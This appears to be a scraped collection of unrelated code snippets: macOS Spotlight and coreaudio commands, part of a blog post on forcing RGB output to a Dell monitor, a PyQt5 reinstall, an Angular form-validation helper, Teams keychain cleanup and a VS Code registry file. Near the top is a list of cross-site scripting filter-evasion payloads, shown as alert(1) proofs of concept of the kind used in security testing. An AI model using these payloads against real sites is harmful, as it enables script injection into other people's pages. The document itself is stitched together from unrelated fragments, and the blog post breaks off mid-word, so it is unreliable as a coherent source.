- Launch Terminal and enter the following command:
sudo mdutil -a -i off
- Type your admin password and hit Return.
- Close the Terminal and restart your Mac.
<script\x20type="text/javascript">javascript:alert(1);</script> | |
<script\x3Etype="text/javascript">javascript:alert(1);</script> | |
<script\x0Dtype="text/javascript">javascript:alert(1);</script> | |
<script\x09type="text/javascript">javascript:alert(1);</script> | |
<script\x0Ctype="text/javascript">javascript:alert(1);</script> | |
<script\x2Ftype="text/javascript">javascript:alert(1);</script> | |
<script\x0Atype="text/javascript">javascript:alert(1);</script> | |
'`"><\x3Cscript>javascript:alert(1)</script> | |
'`"><\x00script>javascript:alert(1)</script> | |
<img src=1 href=1 onerror="javascript:alert(1)"></img> |
Force RGB mode in Mac OS X to fix the picture quality of an external monitor (Original)
Update: I have heard that 10.8.3 has solved this problem for some people, so I rolled back my changes and installed the update. No change on my monitor. Nevertheless, it’d be a good idea to update OS X before trying this, since it may fix the issues with your particular hardware.
I recently bought a MacBook Pro (with ‘Retina’ screen), but when I hooked it up to my Dell U2410 monitor via HDMI cable I was shocked by the poor picture quality. The contrast was all wrong and text was misshapen. No amount of calibration in the monitor or software would fix it.
Short answer: OS X thinks my monitor is a TV, and is using the YCbCr colour space rather than RGB. I had to override an EDID setting to force the RGB colour space, and it is now working correctly.
Long answer: I haven’t owned a Mac for a while and h
python3 -m pip install --upgrade --force-reinstall PyQt5
import { FormGroup, ValidationErrors } from '@angular/forms'; | |
export function getFormValidationErrors(form: FormGroup) { | |
const result = []; | |
Object.keys(form.controls).forEach(key => { | |
const controlErrors: ValidationErrors = form.get(key).errors; | |
if (controlErrors) { | |
Object.keys(controlErrors).forEach(keyError => { |
- Open Keychain
- Delete all Entries with "Teams"
- Also delete all similar entries with "Microsoft"
Maybe also delete everything mentioned here:
Windows Registry Editor Version 5.00 | |
; Open files | |
[HKEY_CLASSES_ROOT\*\shell\Open with VS Code] | |
@="Edit with VS Code" | |
"Icon"="C:\\Program Files (x86)\\Microsoft VS Code\\Code.exe,0" | |
[HKEY_CLASSES_ROOT\*\shell\Open with VS Code\command] | |
@="\"C:\\Program Files (x86)\\Microsoft VS Code\\Code.exe\" \"%1\"" | |
; This will make it appear when you right click ON a folder | |
; The "Icon" line can be removed if you don't want the icon to appear | |
[HKEY_CLASSES_ROOT\Directory\shell\vscode] |
sudo kill -9 `ps ax|grep 'coreaudio[a-z]' | awk '{print $1}'`
#!/bin/sh | |
# Force rebuild the spotlight index from scratch. | |
# --> https://apple.stackexchange.com/a/74892 | |
# Turn off spotlight. | |
sudo mdutil -a -i off | |
# Remove the index files. | |
sudo rm -rfv /.Spotlight-V100 |